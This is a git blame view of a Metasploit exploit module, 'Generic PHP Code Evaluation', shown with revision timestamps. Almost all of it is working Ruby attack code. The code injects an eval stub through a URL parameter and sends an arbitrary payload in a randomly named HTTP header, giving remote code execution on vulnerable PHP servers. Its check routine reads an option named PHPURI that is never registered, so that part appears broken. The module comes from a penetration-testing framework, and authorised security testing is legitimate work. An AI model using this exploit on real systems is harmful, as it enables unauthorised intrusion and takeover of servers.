Files
metasploit-gs/modules/exploits/unix/webapp/php_eval.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

102 lines
3.3 KiB
Ruby
Raw Normal View History

2008-10-13 05:55:10 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2008-10-13 05:55:10 +00:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2009-12-06 05:50:37 +00:00
Rank = ManualRanking
2008-10-13 05:55:10 +00:00
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
2011-10-18 09:56:33 +00:00
'Name' => 'Generic PHP Code Evaluation',
2008-10-13 05:55:10 +00:00
'Description' => %q{
Exploits things like <?php eval($_REQUEST['evalme']); ?>
It is likely that HTTP evasion options will break this exploit.
},
'Author' => [ 'egypt' ],
'License' => BSD_LICENSE,
'References' => [ ],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Payload' =>
2008-10-13 05:55:10 +00:00
{
2010-06-02 05:04:24 +00:00
# max header length for Apache,
# http://httpd.apache.org/docs/2.2/mod/core.html#limitrequestfieldsize
'Space' => 8190,
# max url length for some old versions of apache according to
# http://www.boutell.com/newfaq/misc/urllength.html
2010-06-02 05:04:24 +00:00
#'Space' => 4000,
2008-10-13 05:55:10 +00:00
'DisableNops' => true,
'BadChars' => %q|'"`|, # quotes are escaped by PHP's magic_quotes_gpc in a default install
'Compat' =>
2008-10-13 05:55:10 +00:00
{
'ConnectionType' => 'find',
},
'Keys' => ['php'],
},
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2008-10-13',
2008-10-13 05:55:10 +00:00
'Targets' => [ ['Automatic', { }], ],
'DefaultTarget' => 0
))
register_options(
[
OptString.new('URIPATH', [ true, "The URI to request, with the eval()'d parameter changed to !CODE!", '/test.php?evalme=!CODE!']),
2017-07-10 21:25:27 -04:00
OptString.new('HEADERS', [false, "Any additional HTTP headers to send, cookies for example. Format: \"header:value,header2:value2\""])
])
2008-10-13 05:55:10 +00:00
end
def check
uri = datastore['PHPURI'].gsub(/\?.*/, "")
print_status("Checking uri #{uri}")
response = send_request_raw({ 'uri' => uri})
if response.code == 200
return Exploit::CheckCode::Detected
end
2014-01-21 13:03:36 -06:00
vprint_error("Server responded with #{response.code}")
return Exploit::CheckCode::Safe
end
2017-07-10 21:25:27 -04:00
def datastore_headers
headers = datastore['HEADERS'] ? datastore['HEADERS'].dup : ""
headers_hash = {}
if headers && !headers.empty?
headers.split(',').each do |header|
key, value = header.split(':')
headers_hash[key] = value.strip
end
end
headers_hash
end
2008-10-13 05:55:10 +00:00
def exploit
# very short timeout because the request may never return if we're
# sending a socket payload
timeout = 0.01
headername = "X-" + Rex::Text.rand_text_alpha_upper(rand(10)+10)
2011-05-12 22:46:43 +00:00
stub = "error_reporting(0);eval($_SERVER[HTTP_#{headername.gsub("-", "_")}]);"
uri = datastore['URIPATH'].sub("!CODE!", Rex::Text.uri_encode(stub))
2012-03-22 18:39:11 -06:00
print_status("Sending request for: http#{ssl ? "s" : ""}://#{rhost}:#{rport}#{uri}")
2011-05-12 22:46:43 +00:00
print_status("Payload will be in a header called #{headername}")
response = send_request_raw({
'global' => true,
'uri' => uri,
2017-07-10 21:25:27 -04:00
'headers' => datastore_headers.merge(
headername => payload.encoded,
2017-07-10 21:25:27 -04:00
'Connection' => 'close')
},timeout)
if response and response.code != 200
print_error("Server returned non-200 status code (#{response.code})")
end
2008-10-13 05:55:10 +00:00
handler
end
end